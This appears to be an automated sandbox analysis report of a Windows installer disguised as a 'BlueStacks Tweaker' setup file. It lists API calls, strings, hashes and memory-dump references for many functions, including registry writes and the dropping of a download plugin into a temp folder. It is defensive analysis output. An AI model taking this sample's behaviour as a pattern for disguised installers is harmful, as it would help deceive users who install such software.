Instruction Fuzzy Hash: C6016170949210EBD7215F61EE4DA9F7B78AB04701B14403BF502B11E5C6BC9A01CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 004047D3 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 004047EE
GetMessagePos.USER32 ref: 004047F6
ScreenToClient.USER32(?,?), ref: 00404810
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404822
SendMessageA.USER32(?,0000110C,00000000,?), ref: 00404848

Strings

f, xrefs: 00404824

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 2a5698d5089c35727aab5c3c5da7bcfb0b51a0b1d2cb1bbeaafe9db8233e3477
Instruction ID: 01d6173a61c3c3b4b037133c9a52f1e04ee3049876a8ff08b59bebc5d15cf036
Opcode Fuzzy Hash: 2a5698d5089c35727aab5c3c5da7bcfb0b51a0b1d2cb1bbeaafe9db8233e3477
Instruction Fuzzy Hash: BA018075D40218BADB00DB94CC41BFEBBBCAB55711F10412ABB00B61C0C3B46501CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00402B3B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B56
wsprintfA.USER32 ref: 00402B8A
SetWindowTextA.USER32(?,?), ref: 00402B9A
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402BAC

Strings

verifying installer: %d%%, xrefs: 00402B7F
unpacking data: %d%%, xrefs: 00402B78, 00402B88

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a19141f3df1e0a3c8b8c2abcbd515ef60a2dd56e778219f0b9cb34bd20a9fb2d
Instruction ID: 39266fd7d8b3d51d4259f470751267aa52f8e49dbca779dff7f29341b6a717b4
Opcode Fuzzy Hash: a19141f3df1e0a3c8b8c2abcbd515ef60a2dd56e778219f0b9cb34bd20a9fb2d
Instruction Fuzzy Hash: AFF03671900109ABEF255F51DD0ABEE3779FB00305F008036FA05B51D1D7F9AA559F99

Uniqueness

Uniqueness Score: -1.00%

Function 004046F1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe ,BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe ,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404611,000000DF,0000040F,00000400,00000000), ref: 0040477F
wsprintfA.USER32 ref: 00404787
SetDlgItemTextA.USER32(?,BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe ), ref: 0040479A

Strings

%u.%u%s%s, xrefs: 00404769
BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe , xrefs: 0040476E, 00404776, 0040477C, 00404790

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe
API String ID: 3540041739-1135452227
Opcode ID: 900e3a4788bbcdb5831f4eb4ea085b1ecc54347093cfae2cf180548b061950ae
Instruction ID: e1128f73888b2767c9277aed1687fd20c93e739cc52df1aac9c0a45a5a8dde9d
Opcode Fuzzy Hash: 900e3a4788bbcdb5831f4eb4ea085b1ecc54347093cfae2cf180548b061950ae
Instruction Fuzzy Hash: 7311E2736001243BDB10666D9C46EEF3699DBC6335F14423BFA25F61D1E938AC5286A8

Uniqueness

Uniqueness Score: -1.00%

Function 00403978 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(00000000,BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe), ref: 00403A10

Strings

1033, xrefs: 0040397C, 00403986, 004039F7
C:\Users\user\AppData\Local\Temp\, xrefs: 00403979
BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe , xrefs: 0040397B
BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe, xrefs: 004039FF

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: TextWindow
String ID: 1033$BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe$BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe $C:\Users\user\AppData\Local\Temp\
API String ID: 530164218-679486004
Opcode ID: defed7287a9455a29b24b67e45bb8aa9d1031aed7a359321573c6b72916d69ed
Instruction ID: 09623374405f0611f065d620c03919b516a5f167df25bc0d5edc66fe9dc562c0
Opcode Fuzzy Hash: defed7287a9455a29b24b67e45bb8aa9d1031aed7a359321573c6b72916d69ed
Instruction Fuzzy Hash: F611C2B1B005109BC730DF15D880A73767DEB84716369413BE94167391C77EAE028E58

Uniqueness

Uniqueness Score: -1.00%

Function 00402303 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(00000000,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 00402341
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsu8144.tmp,00000023,?,?,?,00000000,?,?,?,00000011,00000002), ref: 00402361
RegSetValueExA.ADVAPI32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsu8144.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040239A
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsu8144.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040247D

Strings

C:\Users\user\AppData\Local\Temp\nsu8144.tmp, xrefs: 00402352, 00402360, 00402374, 00402384, 0040238F

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsu8144.tmp
API String ID: 1356686001-1946175741
Opcode ID: 271707f578e5353a3fbe2519cc7d62c3cf42ff78cad1b3e4df9531e7eebe3039
Instruction ID: d7b132d9018d44432a73f3315d2b91b6aa1600c7a927e9fa70905f900517fa5a
Opcode Fuzzy Hash: 271707f578e5353a3fbe2519cc7d62c3cf42ff78cad1b3e4df9531e7eebe3039
Instruction Fuzzy Hash: BA1160B1E00209BFEB10AFA0DE49EAF767CFB54398F10413AF905B61D0D7B85D019669

Uniqueness

Uniqueness Score: -1.00%

Function 00401D1B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D22
GetDeviceCaps.GDI32(00000000), ref: 00401D29
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D38
CreateFontIndirectA.GDI32(0040AF74), ref: 00401D8A

Strings

MS Shell Dlg, xrefs: 00401D70

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirect
String ID: MS Shell Dlg
API String ID: 3272661963-76309092
Opcode ID: 2c6a9fd6684e48c72e8170f31dde3613139c4976fc228405473ba1f45ca6ba00
Instruction ID: d83410998d1654a5337f8c322709d39cf2ce3a8a4f0330bc6585c9693e616625
Opcode Fuzzy Hash: 2c6a9fd6684e48c72e8170f31dde3613139c4976fc228405473ba1f45ca6ba00
Instruction Fuzzy Hash: E1F044F1A45342AEE7016770AE0ABA93B649725306F100576F541BA1E2C5BC10149B7F

Uniqueness

Uniqueness Score: -1.00%

Function 00402A36 Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00000000,?), ref: 00402A57
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402A93
RegCloseKey.ADVAPI32(?), ref: 00402A9C
RegCloseKey.ADVAPI32(?), ref: 00402AC1
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402ADF

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 90165163457562f2d2db0d0e016cf4740f9c141c2854e05e69f214c53397e3bf
Instruction ID: 3ec7b1818cbfc33efeafaf7017db19c7c479205e5d6f4ff66fb244667a93d6f3
Opcode Fuzzy Hash: 90165163457562f2d2db0d0e016cf4740f9c141c2854e05e69f214c53397e3bf
Instruction Fuzzy Hash: 93112971A00009FFDF319F90DE49EAF7B7DEB44385B104436F905A10A0DBB59E51AE69

Uniqueness

Uniqueness Score: -1.00%

Function 00401CC1 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401CC5
GetClientRect.USER32(00000000,?), ref: 00401CD2
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401CF3
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D01
DeleteObject.GDI32(00000000), ref: 00401D10

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 70cca8153c69b2e132429069c22b9ddf05dbb7ba62a9a7cfa9b79a9bcebcea9b
Instruction ID: de7316f9b9f1bcc3f0c1dff9ae5dc63c91f1472c52c052d8cf8a0da7f27950be
Opcode Fuzzy Hash: 70cca8153c69b2e132429069c22b9ddf05dbb7ba62a9a7cfa9b79a9bcebcea9b
Instruction Fuzzy Hash: D5F01DB2E04105BFD700EFA4EE89DAFB7BDEB44345B104576F602F2190C6789D018B69

Uniqueness

Uniqueness Score: -1.00%

Function 00404E54 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404E8A
CallWindowProcA.USER32(?,00000200,?,?), ref: 00404EF8

Part of subcall function 00403F64: SendMessageA.USER32(000204CA,00000000,00000000,00000000), ref: 00403F76

Strings

, xrefs: 00404E62
BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe , xrefs: 00404EBB, 00404EC1, 00404EDB

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID: $BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe
API String ID: 3748168415-383036430
Opcode ID: 1a28ca64547386e1a64dd11c64f6ae458e1df03769ff3acb3952d776ac0a4b66
Instruction ID: 62f3a1a08e098275047049d4f9968a6b4933f6b7f921e7009373277d82a30415
Opcode Fuzzy Hash: 1a28ca64547386e1a64dd11c64f6ae458e1df03769ff3acb3952d776ac0a4b66
Instruction Fuzzy Hash: D1116D71900208BBDB21AF52DC4499B3669FB84369F00803BF6047A2E2C37C5A519BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00405659 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403226,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 0040565F
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403226,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405668
lstrcatA.KERNEL32(?,00409010), ref: 00405679

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405659

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3936084776
Opcode ID: f17b2ccdaa8efd10834e0f4341d4d5b977b2bb6e8559feba5c8cad9ccc1df0ef
Instruction ID: d5422d5486d5b384c4dcc02911800b35c31fcf4388d9dde419d5dff5703c7688
Opcode Fuzzy Hash: f17b2ccdaa8efd10834e0f4341d4d5b977b2bb6e8559feba5c8cad9ccc1df0ef
Instruction Fuzzy Hash: 8BD05272605A202ED2022A258C05E9B7A28CF06311B044866B540B2292C6386D818AEE

Uniqueness

Uniqueness Score: -1.00%

Function 00401EC5 Relevance: 6.1, APIs: 4, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeA.VERSION(00000000,?,000000EE), ref: 00401ED4
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401EF2
GetFileVersionInfoA.VERSION(?,?,?,00000000), ref: 00401F0B
VerQueryValueA.VERSION(?,00409010,?,?,?,?,?,00000000), ref: 00401F24

Part of subcall function 00405AC4: wsprintfA.USER32 ref: 00405AD1

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: be50ba22476c795dccddfbd46c0b19e6aec7ed87346bdfd2eed6167faf837e67
Instruction ID: 178fa6cf4330108057832d0c189c0e5a27020503733a18e797ef1cc5e9d7aef6
Opcode Fuzzy Hash: be50ba22476c795dccddfbd46c0b19e6aec7ed87346bdfd2eed6167faf837e67
Instruction Fuzzy Hash: 52113A71A00108BEDB01EFA5DD819AEBBB9EB48344B20853AF501F61E1D7389A54DB28

Uniqueness

Uniqueness Score: -1.00%

Function 004024BE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34filestringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000011), ref: 004024DC
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nsu8144.tmp\inetc.dll,00000000,?,?,00000000,00000011), ref: 004024FB

Strings

C:\Users\user\AppData\Local\Temp\nsu8144.tmp\inetc.dll, xrefs: 004024CA, 004024EF

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: FileWritelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsu8144.tmp\inetc.dll
API String ID: 427699356-4161555177
Opcode ID: 02a15bd42c28bed1fb8554f3d16374f042fc662dbffd218bbabce7ee12e12458
Instruction ID: 2c1f07a632d72534084a5ac00d75746702f795d1104bf50e8da4b719a2e94720
Opcode Fuzzy Hash: 02a15bd42c28bed1fb8554f3d16374f042fc662dbffd218bbabce7ee12e12458
Instruction Fuzzy Hash: BCF08972A44245FFD710EBB19E49EAF7668DB00348F14443BB142F51C2D6FC5982976D

Uniqueness

Uniqueness Score: -1.00%

Function 0040361A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe",00000000,76232EE0,004035F1,00000000,0040342D,00000000), ref: 00403634
GlobalFree.KERNEL32(00000000), ref: 0040363B

Strings

"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe", xrefs: 0040362C

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: "C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe"
API String ID: 1100898210-557006759
Opcode ID: 594683390acbace1feb38ee5af495b240e475f157c4d409b541952378f73dbd9
Instruction ID: 07f203a12dc211ea1540440f4769086933c1ddaa55d0411da1bb29b7fd771b51
Opcode Fuzzy Hash: 594683390acbace1feb38ee5af495b240e475f157c4d409b541952378f73dbd9
Instruction Fuzzy Hash: 8FE08C32804420ABC6216F55EC0579A7768AB48B22F028536E900BB3A083743C464BDC

Uniqueness

Uniqueness Score: -1.00%

Function 004056A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp,00402CDE,C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp,C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp,C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe,C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe,80000000,00000003), ref: 004056A6
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp,00402CDE,C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp,C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp,C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe,C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe,80000000,00000003), ref: 004056B4

Strings

C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp, xrefs: 004056A0

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp
API String ID: 2709904686-2322134577
Opcode ID: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
Instruction ID: 6658d1b0ab05e5211e75f0b74aef41c49d7b43cb9628f8e009f88ad9fa15a52a
Opcode Fuzzy Hash: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
Instruction Fuzzy Hash: C5D0A772409DB02EF30352108C04B8F7A98CF17300F0948A2E440E21D0C27C5C818FFD

Uniqueness

Uniqueness Score: -1.00%

Function 004057B2 Relevance: 5.0, APIs: 4, Instructions: 30stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,004059C0,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057B9
lstrcmpiA.KERNEL32(00000000,00000000), ref: 004057D2
CharNextA.USER32(00000000,?,?,00000000,000000F1,?), ref: 004057E0
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,004059C0,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057E9

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
